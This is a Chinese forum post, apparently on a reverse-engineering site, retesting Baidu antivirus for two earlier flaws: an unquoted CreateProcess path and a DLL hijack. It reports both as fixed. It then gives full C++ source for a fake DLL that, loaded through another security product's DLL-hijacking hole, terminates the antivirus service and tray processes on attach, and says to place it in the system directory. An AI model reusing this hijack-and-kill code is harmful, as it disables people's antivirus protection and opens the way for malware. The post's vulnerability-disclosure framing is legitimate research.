今天才看到BD杀毒软件发布了一个新版本,于是就想看看上个版本发现的一些脆弱性BUG有没有得到修复
已知上个版本的两个BUG。
1.CreateProcess对参数lpCmdLine中的程序路径没有使用双引号阻止隔断,导致可在BD杀毒软件的安装分区根目录下放置一个Program.exe命名的任意文件就可以废掉BaidusdSvc和Baidusd两个程序。
2.升级模块存在Dll劫持漏洞,原因是升级过程中去加载了一个updlog.dll,但是这个文件不存在。
刚才安装了最新版本,测试发现
1问题已经彻底修改,没有再出现空格截断这个问题。
2问题用ApiMonitor跑了几圈,发现已经不会去加载这个DLL了,剩余几个不存在的DLL都是在安装目录下,因为有文件系统保护,所以已经不存在劫持了。
本以为十分完美了,然后又尝试了一下结束BD杀毒相关进程的代码,直接结束还是权限不够。
然后就祭出白加黑,用xx电脑管家的Dll劫持漏洞,去取得高级进程权限,然后尝试干掉BD杀毒进程,然后,然后就成功了。。。。
伪造个模块,代码如下,具体哪个模块不便公开。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include <Windows.h>
#include <tchar.h>
#include <Psapi.h>
#include <Tlhelp32.h.>
#pragma comment (lib, "psapi.lib")
HANDLE GetProcessHandleByName(LPCTSTR lpProcessName);
VOID KillBdsd();
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
DisableThreadLibraryCalls(hModule);
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
KillBdsd();
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return FALSE;
}
VOID KillBdsd()
{
HANDLE hProcess = NULL;
hProcess = GetProcessHandleByName(_T("BaidusdSvc.exe"));
if (NULL == hProcess)
{
MessageBox(GetDesktopWindow(),
_T("打开进程BaidusdSvc失败!"),
NULL,
MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
}
else
{
if (FALSE == TerminateProcess(hProcess, 0))
{
MessageBox(GetDesktopWindow(),
_T("关闭进程BaidusdSvc失败!"),
NULL,
MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
}
else
{
MessageBox(GetDesktopWindow(),
_T("进程BaidusdSvc已终止!"),
NULL,
MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
}
CloseHandle(hProcess);
}
hProcess = GetProcessHandleByName(_T("BaidusdTray.exe"));
if (NULL == hProcess)
{
MessageBox(GetDesktopWindow(),
_T("打开进程BaidusdTray失败!"),
NULL,
MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
}
else
{
if (FALSE == TerminateProcess(hProcess, 0))
{
MessageBox(GetDesktopWindow(),
_T("关闭进程BaidusdTray失败!"),
NULL,
MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
}
else
{
MessageBox(GetDesktopWindow(),
_T("进程BaidusdTray已关闭!"),
NULL,
MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);
}
CloseHandle(hProcess);
}
}
HANDLE GetProcessHandleByName(LPCTSTR lpProcessName)
{
HANDLE hProcess = NULL;
HANDLE hSnapShot = NULL;
PROCESSENTRY32 pe32;
ZeroMemory(&pe32, sizeof(PROCESSENTRY32));
pe32.dwSize = sizeof(PROCESSENTRY32);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE != hSnapShot)
{
Process32First(hSnapShot, &pe32);
do
{
if (pe32.th32ProcessID == 0 || pe32.th32ProcessID == GetCurrentProcessId())
{
continue;
}
if ( 0 == _tcsicmp(pe32.szExeFile, lpProcessName))
{
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
break;
}
}while(Process32Next(hSnapShot, &pe32));
CloseHandle(hSnapShot);
}
return hProcess;
}
然后把这个模块丢到系统目录下。
然后看图。。
后来又测试了一下普通进程,拿到Debug权限之后也是可以结束BD杀毒的服务进程和托盘进程的,当然前提是需要先关掉BD杀毒的自我保护。
反观其他一些杀软或者安全软件,就算关闭自我保护,还是不能terminate他的进程的。
BD业界良心啊。。。
[课程]FART 脱壳王!加量不加价!FART作者讲授!